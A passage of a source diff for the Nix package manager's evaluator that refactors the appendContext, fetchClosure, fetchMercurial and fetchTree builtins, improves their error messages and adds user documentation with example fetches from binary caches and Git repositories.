context.emplace(NixStringContextElem::DrvDeep { + .drvPath = namePath, }); } - for (auto elem : iter->value->listItems()) { - auto outputName = state.forceStringNoCtx(*elem, iter->pos); - context.insert(concatStrings("!", outputName, "!", name)); + } + + if (auto attr = i.value->attrs()->get(state.sOutputs)) { + state.forceList(*attr->value, attr->pos, "while evaluating the `outputs` attribute of a string context"); + if (attr->value->listSize() && !isDerivation(name)) { + state.error( + "tried to add derivation output context of %s, which is not a derivation, to a string", + name + ).atPos(i.pos).debugThrow(); + } + for (auto elem : attr->value->listItems()) { + auto outputName = state.forceStringNoCtx(*elem, attr->pos, "while evaluating an output name within a string context"); + context.emplace(NixStringContextElem::Built { + .drvPath = makeConstantStorePathRef(namePath), + .output = std::string { outputName }, + }); } } } @@ -191,6 +323,10 @@ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * ar v.mkString(orig, context); } -static RegisterPrimOp primop_appendContext("__appendContext", 2, prim_appendContext); +static RegisterPrimOp primop_appendContext({ + .name = "__appendContext", + .arity = 2, + .fun = prim_appendContext +}); } diff --git a/src/libexpr/primops/derivation.nix b/src/libexpr/primops/derivation.nix index c0fbe8082..f329ff71e 100644 --- a/src/libexpr/primops/derivation.nix +++ b/src/libexpr/primops/derivation.nix @@ -1,6 +1,31 @@ -/* This is the implementation of the ‘derivation’ builtin function. - It's actually a wrapper around the ‘derivationStrict’ primop. */ +# This is the implementation of the ‘derivation’ builtin function. +# It's actually a wrapper around the ‘derivationStrict’ primop. +# Note that the following comment will be shown in :doc in the repl, but not in the manual. +/** + Create a derivation. + + # Inputs + + The single argument is an attribute set that describes what to build and how to build it. + See https://nix.dev/manual/nix/2.23/language/derivations + + # Output + + The result is an attribute set that describes the derivation. + Notably it contains the outputs, which in the context of the Nix language are special strings that refer to the output paths, which may not yet exist. + The realisation of these outputs only occurs when needed; for example + + * When `nix-build` or a similar command is run, it realises the outputs that were requested on its command line. + See https://nix.dev/manual/nix/2.23/command-ref/nix-build + + * When `import`, `readFile`, `readDir` or some other functions are called, they have to realise the outputs they depend on. + This is referred to as "import from derivation". + See https://nix.dev/manual/nix/2.23/language/import-from-derivation + + Note that `derivation` is very bare-bones, and provides almost no commands during the build. + Most likely, you'll want to use functions like `stdenv.mkDerivation` in Nixpkgs to set up a basic environment. +*/ drvAttrs @ { outputs ? [ "out" ], ... }: let diff --git a/src/libexpr/primops/fetchClosure.cc b/src/libexpr/primops/fetchClosure.cc index 662c9652e..fc5bb3145 100644 --- a/src/libexpr/primops/fetchClosure.cc +++ b/src/libexpr/primops/fetchClosure.cc @@ -1,56 +1,185 @@ #include "primops.hh" #include "store-api.hh" +#include "realisation.hh" #include "make-content-addressed.hh" #include "url.hh" namespace nix { +/** + * Handler for the content addressed case. + * + * @param state Evaluator state and store to write to. + * @param fromStore Store containing the path to rewrite. + * @param fromPath Source path to be rewritten. + * @param toPathMaybe Path to write the rewritten path to. If empty, the error shows the actual path. + * @param v Return `Value` + */ +static void runFetchClosureWithRewrite(EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, const std::optional & toPathMaybe, Value &v) { + + // establish toPath or throw + + if (!toPathMaybe || !state.store->isValidPath(*toPathMaybe)) { + auto rewrittenPath = makeContentAddressed(fromStore, *state.store, fromPath); + if (toPathMaybe && *toPathMaybe != rewrittenPath) + throw Error({ + .msg = HintFmt("rewriting '%s' to content-addressed form yielded '%s', while '%s' was expected", + state.store->printStorePath(fromPath), + state.store->printStorePath(rewrittenPath), + state.store->printStorePath(*toPathMaybe)), + .pos = state.positions[pos] + }); + if (!toPathMaybe) + throw Error({ + .msg = HintFmt( + "rewriting '%s' to content-addressed form yielded '%s'\n" + "Use this value for the 'toPath' attribute passed to 'fetchClosure'", + state.store->printStorePath(fromPath), + state.store->printStorePath(rewrittenPath)), + .pos = state.positions[pos] + }); + } + + auto toPath = *toPathMaybe; + + // check and return + + auto resultInfo = state.store->queryPathInfo(toPath); + + if (!resultInfo->isContentAddressed(*state.store)) { + // We don't perform the rewriting when outPath already exists, as an optimisation. + // However, we can quickly detect a mistake if the toPath is input addressed. + throw Error({ + .msg = HintFmt( + "The 'toPath' value '%s' is input-addressed, so it can't possibly be the result of rewriting to a content-addressed path.\n\n" + "Set 'toPath' to an empty string to make Nix report the correct content-addressed path.", + state.store->printStorePath(toPath)), + .pos = state.positions[pos] + }); + } + + state.mkStorePathString(toPath, v); +} + +/** + * Fetch the closure and make sure it's content addressed. + */ +static void runFetchClosureWithContentAddressedPath(EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, Value & v) { + + if (!state.store->isValidPath(fromPath)) + copyClosure(fromStore, *state.store, RealisedPath::Set { fromPath }); + + auto info = state.store->queryPathInfo(fromPath); + + if (!info->isContentAddressed(*state.store)) { + throw Error({ + .msg = HintFmt( + "The 'fromPath' value '%s' is input-addressed, but 'inputAddressed' is set to 'false' (default).\n\n" + "If you do intend to fetch an input-addressed store path, add\n\n" + " inputAddressed = true;\n\n" + "to the 'fetchClosure' arguments.\n\n" + "Note that to ensure authenticity input-addressed store paths, users must configure a trusted binary cache public key on their systems. This is not needed for content-addressed paths.", + state.store->printStorePath(fromPath)), + .pos = state.positions[pos] + }); + } + + state.mkStorePathString(fromPath, v); +} + +/** + * Fetch the closure and make sure it's input addressed. + */ +static void runFetchClosureWithInputAddressedPath(EvalState & state, const PosIdx pos, Store & fromStore, const StorePath & fromPath, Value & v) { + + if (!state.store->isValidPath(fromPath)) + copyClosure(fromStore, *state.store, RealisedPath::Set { fromPath }); + + auto info = state.store->queryPathInfo(fromPath); + + if (info->isContentAddressed(*state.store)) { + throw Error({ + .msg = HintFmt( + "The store object referred to by 'fromPath' at '%s' is not input-addressed, but 'inputAddressed' is set to 'true'.\n\n" + "Remove the 'inputAddressed' attribute (it defaults to 'false') to expect 'fromPath' to be content-addressed", + state.store->printStorePath(fromPath)), + .pos = state.positions[pos] + }); + } + + state.mkStorePathString(fromPath, v); +} + +typedef std::optional StorePathOrGap; + static void prim_fetchClosure(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[0], pos); + state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.fetchClosure"); std::optional fromStoreUrl; std::optional fromPath; - bool toCA = false; - std::optional toPath; + std::optional toPath; + std::optional inputAddressedMaybe; - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { const auto & attrName = state.symbols[attr.name]; + auto attrHint = [&]() -> std::string { + return "while evaluating the '" + attrName + "' attribute passed to builtins.fetchClosure"; + }; if (attrName == "fromPath") { - PathSet context; - fromPath = state.coerceToStorePath(attr.pos, *attr.value, context); + NixStringContext context; + fromPath = state.coerceToStorePath(attr.pos, *attr.value, context, attrHint()); } else if (attrName == "toPath") { state.forceValue(*attr.value, attr.pos); - toCA = true; - if (attr.value->type() != nString || attr.value->string.s != std::string("")) { - PathSet context; - toPath = state.coerceToStorePath(attr.pos, *attr.value, context); + bool isEmptyString = attr.value->type() == nString && attr.value->string_view() == ""; + if (isEmptyString) { + toPath = StorePathOrGap {}; + } + else { + NixStringContext context; + toPath = state.coerceToStorePath(attr.pos, *attr.value, context, attrHint()); } } else if (attrName == "fromStore") - fromStoreUrl = state.forceStringNoCtx(*attr.value, attr.pos); + fromStoreUrl = state.forceStringNoCtx(*attr.value, attr.pos, + attrHint()); + + else if (attrName == "inputAddressed") + inputAddressedMaybe = state.forceBool(*attr.value, attr.pos, attrHint()); else throw Error({ - .msg = hintfmt("attribute '%s' isn't supported in call to 'fetchClosure'", attrName), - .errPos = state.positions[pos] + .msg = HintFmt("attribute '%s' isn't supported in call to 'fetchClosure'", attrName), + .pos = state.positions[pos] }); } if (!fromPath) throw Error({ - .msg = hintfmt("attribute '%s' is missing in call to 'fetchClosure'", "fromPath"), - .errPos = state.positions[pos] + .msg = HintFmt("attribute '%s' is missing in call to 'fetchClosure'", "fromPath"), + .pos = state.positions[pos] }); + bool inputAddressed = inputAddressedMaybe.value_or(false); + + if (inputAddressed) { + if (toPath) + throw Error({ + .msg = HintFmt("attribute '%s' is set to true, but '%s' is also set. Please remove one of them", + "inputAddressed", + "toPath"), + .pos = state.positions[pos] + }); + } + if (!fromStoreUrl) throw Error({ - .msg = hintfmt("attribute '%s' is missing in call to 'fetchClosure'", "fromStore"), - .errPos = state.positions[pos] + .msg = HintFmt("attribute '%s' is missing in call to 'fetchClosure'", "fromStore"), + .pos = state.positions[pos] }); auto parsedURL = parseURL(*fromStoreUrl); @@ -59,68 +188,52 @@ static void prim_fetchClosure(EvalState & state, const PosIdx pos, Value * * arg parsedURL.scheme != "https" && !(getEnv("_NIX_IN_TEST").has_value() && parsedURL.scheme == "file")) throw Error({ - .msg = hintfmt("'fetchClosure' only supports http:// and https:// stores"), - .errPos = state.positions[pos] + .msg = HintFmt("'fetchClosure' only supports http:// and https:// stores"), + .pos = state.positions[pos] }); if (!parsedURL.query.empty()) throw Error({ - .msg = hintfmt("'fetchClosure' does not support URL query parameters (in '%s')", *fromStoreUrl), - .errPos = state.positions[pos] + .msg = HintFmt("'fetchClosure' does not support URL query parameters (in '%s')", *fromStoreUrl), + .pos = state.positions[pos] }); auto fromStore = openStore(parsedURL.to_string()); - if (toCA) { - if (!toPath || !state.store->isValidPath(*toPath)) { - auto remappings = makeContentAddressed(*fromStore, *state.store, { *fromPath }); - auto i = remappings.find(*fromPath); - assert(i != remappings.end()); - if (toPath && *toPath != i->second) - throw Error({ - .msg = hintfmt("rewriting '%s' to content-addressed form yielded '%s', while '%s' was expected", - state.store->printStorePath(*fromPath), - state.store->printStorePath(i->second), - state.store->printStorePath(*toPath)), - .errPos = state.positions[pos] - }); - if (!toPath) - throw Error({ - .msg = hintfmt( - "rewriting '%s' to content-addressed form yielded '%s'; " - "please set this in the 'toPath' attribute passed to 'fetchClosure'", - state.store->printStorePath(*fromPath), - state.store->printStorePath(i->second)), - .errPos = state.positions[pos] - }); - } - } else { - if (!state.store->isValidPath(*fromPath)) - copyClosure(*fromStore, *state.store, RealisedPath::Set { *fromPath }); - toPath = fromPath; - } - - /* In pure mode, require a CA path. */ - if (evalSettings.pureEval) { - auto info = state.store->queryPathInfo(*toPath); - if (!info->isContentAddressed(*state.store)) - throw Error({ - .msg = hintfmt("in pure mode, 'fetchClosure' requires a content-addressed path, which '%s' isn't", - state.store->printStorePath(*toPath)), - .errPos = state.positions[pos] - }); - } - - auto toPathS = state.store->printStorePath(*toPath); - v.mkString(toPathS, {toPathS}); + if (toPath) + runFetchClosureWithRewrite(state, pos, *fromStore, *fromPath, *toPath, v); + else if (inputAddressed) + runFetchClosureWithInputAddressedPath(state, pos, *fromStore, *fromPath, v); + else + runFetchClosureWithContentAddressedPath(state, pos, *fromStore, *fromPath, v); } static RegisterPrimOp primop_fetchClosure({ .name = "__fetchClosure", .args = {"args"}, .doc = R"( - Fetch a Nix store closure from a binary cache, rewriting it into - content-addressed form. For example, + Fetch a store path [closure](@docroot@/glossary.md#gloss-closure) from a binary cache, and return the store path as a string with context. + + This function can be invoked in three ways, that we will discuss in order of preference. + + **Fetch a content-addressed store path** + + Example: + + ```nix + builtins.fetchClosure { + fromStore = "https://cache.nixos.org"; + fromPath = /nix/store/ldbhlwhh39wha58rm61bkiiwm6j7211j-git-2.33.1; + } + ``` + + This is the simplest invocation, and it does not require the user of the expression to configure [`trusted-public-keys`](@docroot@/command-ref/conf-file.md#conf-trusted-public-keys) to ensure their authenticity. + + If your store path is [input addressed](@docroot@/glossary.md#gloss-input-addressed-store-object) instead of content addressed, consider the other two invocations. + + **Fetch any store path and rewrite it to a fully content-addressed store path** + + Example: ```nix builtins.fetchClosure { @@ -130,31 +243,42 @@ static RegisterPrimOp primop_fetchClosure({ } ``` - fetches `/nix/store/r2jd...` from the specified binary cache, + This example fetches `/nix/store/r2jd...` from the specified binary cache, and rewrites it into the content-addressed store path `/nix/store/ldbh...`. - If `fromPath` is already content-addressed, or if you are - allowing impure evaluation (`--impure`), then `toPath` may be - omitted. + Like the previous example, no extra configuration or privileges are required. To find out the correct value for `toPath` given a `fromPath`, - you can use `nix store make-content-addressed`: + use [`nix store make-content-addressed`](@docroot@/command-ref/new-cli/nix3-store-make-content-addressed.md): ```console # nix store make-content-addressed --from https://cache.nixos.org /nix/store/r2jd6ygnmirm2g803mksqqjm4y39yi6i-git-2.33.1 rewrote '/nix/store/r2jd6ygnmirm2g803mksqqjm4y39yi6i-git-2.33.1' to '/nix/store/ldbhlwhh39wha58rm61bkiiwm6j7211j-git-2.33.1' ``` - This function is similar to `builtins.storePath` in that it - allows you to use a previously built store path in a Nix - expression. However, it is more reproducible because it requires - specifying a binary cache from which the path can be fetched. - Also, requiring a content-addressed final store path avoids the - need for users to configure binary cache public keys. + Alternatively, set `toPath = ""` and find the correct `toPath` in the error message. - This function is only available if you enable the experimental - feature `fetch-closure`. + **Fetch an input-addressed store path as is** + + Example: + + ```nix + builtins.fetchClosure { + fromStore = "https://cache.nixos.org"; + fromPath = /nix/store/r2jd6ygnmirm2g803mksqqjm4y39yi6i-git-2.33.1; + inputAddressed = true; + } + ``` + + It is possible to fetch an [input-addressed store path](@docroot@/glossary.md#gloss-input-addressed-store-object) and return it as is. + However, this is the least preferred way of invoking `fetchClosure`, because it requires that the input-addressed paths are trusted by the Nix configuration. + + **`builtins.storePath`** + + `fetchClosure` is similar to [`builtins.storePath`](#builtins-storePath) in that it allows you to use a previously built store path in a Nix expression. + However, `fetchClosure` is more reproducible because it specifies a binary cache from which the path can be fetched. + Also, using content-addressed store paths does not require users to configure [`trusted-public-keys`](@docroot@/command-ref/conf-file.md#conf-trusted-public-keys) to ensure their authenticity. )", .fun = prim_fetchClosure, .experimentalFeature = Xp::FetchClosure, diff --git a/src/libexpr/primops/fetchMercurial.cc b/src/libexpr/primops/fetchMercurial.cc index 249c0934e..64e3abf2d 100644 --- a/src/libexpr/primops/fetchMercurial.cc +++ b/src/libexpr/primops/fetchMercurial.cc @@ -1,5 +1,6 @@ #include "primops.hh" #include "eval-inline.hh" +#include "eval-settings.hh" #include "store-api.hh" #include "fetchers.hh" #include "url.hh" @@ -13,50 +14,46 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a std::optional rev; std::optional ref; std::string_view name = "source"; - PathSet context; + NixStringContext context; state.forceValue(*args[0], pos); if (args[0]->type() == nAttrs) { - state.forceAttrs(*args[0], pos); - - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { std::string_view n(state.symbols[attr.name]); if (n == "url") - url = state.coerceToString(attr.pos, *attr.value, context, false, false).toOwned(); + url = state.coerceToString(attr.pos, *attr.value, context, + "while evaluating the `url` attribute passed to builtins.fetchMercurial", + false, false).toOwned(); else if (n == "rev") { // Ugly: unlike fetchGit, here the "rev" attribute can // be both a revision or a branch/tag name. - auto value = state.forceStringNoCtx(*attr.value, attr.pos); + auto value = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `rev` attribute passed to builtins.fetchMercurial"); if (std::regex_match(value.begin(), value.end(), revRegex)) - rev = Hash::parseAny(value, htSHA1); + rev = Hash::parseAny(value, HashAlgorithm::SHA1); else ref = value; } else if (n == "name") - name = state.forceStringNoCtx(*attr.value, attr.pos); + name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `name` attribute passed to builtins.fetchMercurial"); else - throw EvalError({ - .msg = hintfmt("unsupported argument '%s' to 'fetchMercurial'", state.symbols[attr.name]), - .errPos = state.positions[attr.pos] - }); + state.error("unsupported argument '%s' to 'fetchMercurial'", state.symbols[attr.name]).atPos(attr.pos).debugThrow(); } if (url.empty()) - throw EvalError({ - .msg = hintfmt("'url' argument required"), - .errPos = state.positions[pos] - }); + state.error("'url' argument required").atPos(pos).debugThrow(); } else - url = state.coerceToString(pos, *args[0], context, false, false).toOwned(); + url = state.coerceToString(pos, *args[0], context, + "while evaluating the first argument passed to builtins.fetchMercurial", + false, false).toOwned(); // FIXME: git externals probably can be used to bypass the URI // whitelist. Ah well. state.checkURI(url); - if (evalSettings.pureEval && !rev) + if (state.settings.pureEval && !rev) throw Error("in pure evaluation mode, 'fetchMercurial' requires a Mercurial revision"); fetchers::Attrs attrs; @@ -65,28 +62,30 @@ static void prim_fetchMercurial(EvalState & state, const PosIdx pos, Value * * a attrs.insert_or_assign("name", std::string(name)); if (ref) attrs.insert_or_assign("ref", *ref); if (rev) attrs.insert_or_assign("rev", rev->gitRev()); - auto input = fetchers::Input::fromAttrs(std::move(attrs)); + auto input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); - // FIXME: use name - auto [tree, input2] = input.fetch(state.store); + auto [storePath, input2] = input.fetchToStore(state.store); auto attrs2 = state.buildBindings(8); - auto storePath = state.store->printStorePath(tree.storePath); - attrs2.alloc(state.sOutPath).mkString(storePath, {storePath}); + state.mkStorePathString(storePath, attrs2.alloc(state.sOutPath)); if (input2.getRef()) attrs2.alloc("branch").mkString(*input2.getRef()); // Backward compatibility: set 'rev' to // 0000000000000000000000000000000000000000 for a dirty tree. - auto rev2 = input2.getRev().value_or(Hash(htSHA1)); + auto rev2 = input2.getRev().value_or(Hash(HashAlgorithm::SHA1)); attrs2.alloc("rev").mkString(rev2.gitRev()); attrs2.alloc("shortRev").mkString(rev2.gitRev().substr(0, 12)); if (auto revCount = input2.getRevCount()) attrs2.alloc("revCount").mkInt(*revCount); v.mkAttrs(attrs2); - state.allowPath(tree.storePath); + state.allowPath(storePath); } -static RegisterPrimOp r_fetchMercurial("fetchMercurial", 1, prim_fetchMercurial); +static RegisterPrimOp r_fetchMercurial({ + .name = "fetchMercurial", + .arity = 1, + .fun = prim_fetchMercurial +}); } diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc index 680446787..5d074e623 100644 --- a/src/libexpr/primops/fetchTree.cc +++ b/src/libexpr/primops/fetchTree.cc @@ -1,9 +1,15 @@ +#include "attrs.hh" #include "primops.hh" #include "eval-inline.hh" +#include "eval-settings.hh" #include "store-api.hh" #include "fetchers.hh" #include "filetransfer.hh" #include "registry.hh" +#include "tarball.hh" +#include "url.hh" +#include "value-to-json.hh" +#include "fetch-to-store.hh" #include #include @@ -13,25 +19,21 @@ namespace nix { void emitTreeAttrs( EvalState & state, - const fetchers::Tree & tree, + const StorePath & storePath, const fetchers::Input & input, Value & v, bool emptyRevFallback, bool forceDirty) { - assert(input.isLocked()); + auto attrs = state.buildBindings(100); - auto attrs = state.buildBindings(8); - - auto storePath = state.store->printStorePath(tree.storePath); - - attrs.alloc(state.sOutPath).mkString(storePath, {storePath}); + state.mkStorePathString(storePath, attrs.alloc(state.sOutPath)); // FIXME: support arbitrary input attributes. auto narHash = input.getNarHash(); assert(narHash); - attrs.alloc("narHash").mkString(narHash->to_string(SRI, true)); + attrs.alloc("narHash").mkString(narHash->to_string(HashFormat::SRI, true)); if (input.getType() == "git") attrs.alloc("submodules").mkBool( @@ -44,7 +46,7 @@ void emitTreeAttrs( attrs.alloc("shortRev").mkString(rev->gitShortRev()); } else if (emptyRevFallback) { // Backwards compat for `builtins.fetchGit`: dirty repos return an empty sha1 as rev - auto emptyHash = Hash(htSHA1); + auto emptyHash = Hash(HashAlgorithm::SHA1); attrs.alloc("rev").mkString(emptyHash.gitRev()); attrs.alloc("shortRev").mkString(emptyHash.gitShortRev()); } @@ -56,6 +58,11 @@ void emitTreeAttrs( } + if (auto dirtyRev = fetchers::maybeGetStrAttr(input.attrs, "dirtyRev")) { + attrs.alloc("dirtyRev").mkString(*dirtyRev); + attrs.alloc("dirtyShortRev").mkString(*fetchers::maybeGetStrAttr(input.attrs, "dirtyShortRev")); + } + if (auto lastModified = input.getLastModified()) { attrs.alloc("lastModified").mkInt(*lastModified); attrs.alloc("lastModifiedDate").mkString( @@ -65,27 +72,10 @@ void emitTreeAttrs( v.mkAttrs(attrs); } -std::string fixURI(std::string uri, EvalState & state, const std::string & defaultScheme = "file") -{ - state.checkURI(uri); - return uri.find("://") != std::string::npos ? uri : defaultScheme + "://" + uri; -} - -std::string fixURIForGit(std::string uri, EvalState & state) -{ - /* Detects scp-style uris (e.g. git@github.com:NixOS/nix) and fixes - * them by removing the `:` and assuming a scheme of `ssh://` - * */ - static std::regex scp_uri("([^/]*)@(.*):(.*)"); - if (uri[0] != '/' && std::regex_match(uri, scp_uri)) - return fixURI(std::regex_replace(uri, scp_uri, "$1@$2/$3"), state, "ssh"); - else - return fixURI(uri, state); -} - struct FetchTreeParams { bool emptyRevFallback = false; bool allowNameArgument = false; + bool isFetchGit = false; }; static void fetchTree( @@ -93,97 +83,351 @@ static void fetchTree( const PosIdx pos, Value * * args, Value & v, - std::optional type, const FetchTreeParams & params = FetchTreeParams{} ) { - fetchers::Input input; - PathSet context; + fetchers::Input input { state.fetchSettings }; + NixStringContext context; + std::optional type; + if (params.isFetchGit) type = "git"; state.forceValue(*args[0], pos); if (args[0]->type() == nAttrs) { - state.forceAttrs(*args[0], pos); + state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.fetchTree"); fetchers::Attrs attrs; - if (auto aType = args[0]->attrs->get(state.sType)) { + if (auto aType = args[0]->attrs()->get(state.sType)) { if (type) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("unexpected attribute 'type'"), - .errPos = state.positions[pos] - })); - type = state.forceStringNoCtx(*aType->value, aType->pos); + state.error( + "unexpected attribute 'type'" + ).atPos(pos).debugThrow(); + type = state.forceStringNoCtx(*aType->value, aType->pos, "while evaluating the `type` attribute passed to builtins.fetchTree"); } else if (!type) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("attribute 'type' is missing in call to 'fetchTree'"), - .errPos = state.positions[pos] - })); + state.error( + "attribute 'type' is missing in call to 'fetchTree'" + ).atPos(pos).debugThrow(); attrs.emplace("type", type.value()); - for (auto & attr : *args[0]->attrs) { + for (auto & attr : *args[0]->attrs()) { if (attr.name == state.sType) continue; state.forceValue(*attr.value, attr.pos); if (attr.value->type() == nPath || attr.value->type() == nString) { - auto s = state.coerceToString(attr.pos, *attr.value, context, false, false).toOwned(); + auto s = state.coerceToString(attr.pos, *attr.value, context, "", false, false).toOwned(); attrs.emplace(state.symbols[attr.name], - state.symbols[attr.name] == "url" - ? type == "git" - ? fixURIForGit(s, state) - : fixURI(s, state) + params.isFetchGit && state.symbols[attr.name] == "url" + ? fixGitURL(s) : s); } else if (attr.value->type() == nBool) - attrs.emplace(state.symbols[attr.name], Explicit{attr.value->boolean}); - else if (attr.value->type() == nInt) - attrs.emplace(state.symbols[attr.name], uint64_t(attr.value->integer)); + attrs.emplace(state.symbols[attr.name], Explicit{attr.value->boolean()}); + else if (attr.value->type() == nInt) { + auto intValue = attr.value->integer().value; + + if (intValue < 0) { + state.error("negative value given for fetchTree attr %1%: %2%", state.symbols[attr.name], intValue).atPos(pos).debugThrow(); + } + + attrs.emplace(state.symbols[attr.name], uint64_t(intValue)); + } else if (state.symbols[attr.name] == "publicKeys") { + experimentalFeatureSettings.require(Xp::VerifiedFetches); + attrs.emplace(state.symbols[attr.name], printValueAsJSON(state, true, *attr.value, pos, context).dump()); + } else - state.debugThrowLastTrace(TypeError("fetchTree argument '%s' is %s while a string, Boolean or integer is expected", - state.symbols[attr.name], showType(*attr.value))); + state.error("fetchTree argument '%s' is %s while a string, Boolean or integer is expected", + state.symbols[attr.name], showType(*attr.value)).debugThrow(); + } + + if (params.isFetchGit && !attrs.contains("exportIgnore") && (!attrs.contains("submodules") || !*fetchers::maybeGetBoolAttr(attrs, "submodules"))) { + attrs.emplace("exportIgnore", Explicit{true}); + } + + // fetchTree should fetch git repos with shallow = true by default + if (type == "git" && !params.isFetchGit && !attrs.contains("shallow")) { + attrs.emplace("shallow", Explicit{true}); } if (!params.allowNameArgument) if (auto nameIter = attrs.find("name"); nameIter != attrs.end()) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("attribute 'name' isn’t supported in call to 'fetchTree'"), - .errPos = state.positions[pos] - })); + state.error( + "attribute 'name' isn’t supported in call to 'fetchTree'" + ).atPos(pos).debugThrow(); - input = fetchers::Input::fromAttrs(std::move(attrs)); + input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); } else { - auto url = state.coerceToString(pos, *args[0], context, false, false).toOwned(); + auto url = state.coerceToString(pos, *args[0], context, + "while evaluating the first argument passed to the fetcher", + false, false).toOwned(); - if (type == "git") { + if (params.isFetchGit) { fetchers::Attrs attrs; attrs.emplace("type", "git"); - attrs.emplace("url", fixURIForGit(url, state)); - input = fetchers::Input::fromAttrs(std::move(attrs)); + attrs.emplace("url", fixGitURL(url)); + if (!attrs.contains("exportIgnore") && (!attrs.contains("submodules") || !*fetchers::maybeGetBoolAttr(attrs, "submodules"))) { + attrs.emplace("exportIgnore", Explicit{true}); + } + input = fetchers::Input::fromAttrs(state.fetchSettings, std::move(attrs)); } else { - input = fetchers::Input::fromURL(fixURI(url, state)); + if (!experimentalFeatureSettings.isEnabled(Xp::Flakes)) + state.error( + "passing a string argument to 'fetchTree' requires the 'flakes' experimental feature" + ).atPos(pos).debugThrow(); + input = fetchers::Input::fromURL(state.fetchSettings, url); } } - if (!evalSettings.pureEval && !input.isDirect()) + if (!state.settings.pureEval && !input.isDirect() && experimentalFeatureSettings.isEnabled(Xp::Flakes)) input = lookupInRegistries(state.store, input).first; - if (evalSettings.pureEval && !input.isLocked()) - state.debugThrowLastTrace(EvalError("in pure evaluation mode, 'fetchTree' requires a locked input, at %s", state.positions[pos])); + if (state.settings.pureEval && !input.isLocked()) { + auto fetcher = "fetchTree"; + if (params.isFetchGit) + fetcher = "fetchGit"; - auto [tree, input2] = input.fetch(state.store); + state.error( + "in pure evaluation mode, '%s' will not fetch unlocked input '%s'", + fetcher, input.to_string() + ).atPos(pos).debugThrow(); + } - state.allowPath(tree.storePath); + state.checkURI(input.toURLString()); - emitTreeAttrs(state, tree, input2, v, params.emptyRevFallback, false); + auto [storePath, input2] = input.fetchToStore(state.store); + + state.allowPath(storePath); + + emitTreeAttrs(state, storePath, input2, v, params.emptyRevFallback, false); } static void prim_fetchTree(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - settings.requireExperimentalFeature(Xp::Flakes); - fetchTree(state, pos, args, v, std::nullopt, FetchTreeParams { .allowNameArgument = false }); + fetchTree(state, pos, args, v, { }); } -// FIXME: document -static RegisterPrimOp primop_fetchTree("fetchTree", 1, prim_fetchTree); +static RegisterPrimOp primop_fetchTree({ + .name = "fetchTree", + .args = {"input"}, + .doc = R"( + Fetch a file system tree or a plain file using one of the supported backends and return an attribute set with: + + - the resulting fixed-output [store path](@docroot@/store/store-path.md) + - the corresponding [NAR](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) hash + - backend-specific metadata (currently not documented). + + *input* must be an attribute set with the following attributes: + + - `type` (String, required) + + One of the [supported source types](#source-types). + This determines other required and allowed input attributes. + + - `narHash` (String, optional) + + The `narHash` parameter can be used to substitute the source of the tree. + It also allows for verification of tree contents that may not be provided by the underlying transfer mechanism. + If `narHash` is set, the source is first looked up is the Nix store and [substituters](@docroot@/command-ref/conf-file.md#conf-substituters), and only fetched if not available. + + A subset of the output attributes of `fetchTree` can be re-used for subsequent calls to `fetchTree` to produce the same result again. + That is, `fetchTree` is idempotent. + + Downloads are cached in `$XDG_CACHE_HOME/nix`. + The remote source will be fetched from the network if both are true: + - A NAR hash is supplied and the corresponding store path is not [valid](@docroot@/glossary.md#gloss-validity), that is, not available in the store + + > **Note** + > + > [Substituters](@docroot@/command-ref/conf-file.md#conf-substituters) are not used in fetching. + + - There is no cache entry or the cache entry is older than [`tarball-ttl`](@docroot@/command-ref/conf-file.md#conf-tarball-ttl) + + ## Source types + + The following source types and associated input attributes are supported. + + + + - `"file"` + + Place a plain file into the Nix store. + This is similar to [`builtins.fetchurl`](@docroot@/language/builtins.md#builtins-fetchurl) + + - `url` (String, required) + + Supported protocols: + + - `https` + + > **Example** + > + > ```nix + > fetchTree { + > type = "file"; + > url = "https://example.com/index.html"; + > } + > ``` + + - `http` + + Insecure HTTP transfer for legacy sources. + + > **Warning** + > + > HTTP performs no encryption or authentication. + > Use a `narHash` known in advance to ensure the output has expected contents. + + - `file` + + A file on the local file system. + + > **Example** + > + > ```nix + > fetchTree { + > type = "file"; + > url = "file:///home/eelco/nix/README.md"; + > } + > ``` + + - `"tarball"` + + Download a tar archive and extract it into the Nix store. + This has the same underyling implementation as [`builtins.fetchTarball`](@docroot@/language/builtins.md#builtins-fetchTarball) + + - `url` (String, required) + + > **Example** + > + > ```nix + > fetchTree { + > type = "tarball"; + > url = "https://github.com/NixOS/nixpkgs/tarball/nixpkgs-23.11"; + > } + > ``` + + - `"git"` + + Fetch a Git tree and copy it to the Nix store. + This is similar to [`builtins.fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit). + + - `url` (String, required) + + The URL formats supported are the same as for Git itself. + + > **Example** + > + > ```nix + > fetchTree { + > type = "git"; + > url = "git@github.com:NixOS/nixpkgs.git"; + > } + > ``` + + > **Note** + > + > If the URL points to a local directory, and no `ref` or `rev` is given, Nix will only consider files added to the Git index, as listed by `git ls-files` but use the *current file contents* of the Git working directory. + + - `ref` (String, optional) + + By default, this has no effect. This becomes relevant only once `shallow` cloning is disabled. + + A [Git reference](https://git-scm.com/book/en/v2/Git-Internals-Git-References), such as a branch or tag name. + + Default: `"HEAD"` + + - `rev` (String, optional) + + A Git revision; a commit hash. + + Default: the tip of `ref` + + - `shallow` (Bool, optional) + + Make a shallow clone when fetching the Git tree. + When this is enabled, the options `ref` and `allRefs` have no effect anymore. + + Default: `true` + + - `submodules` (Bool, optional) + + Also fetch submodules if available. + + Default: `false` + + - `allRefs` (Bool, optional) + 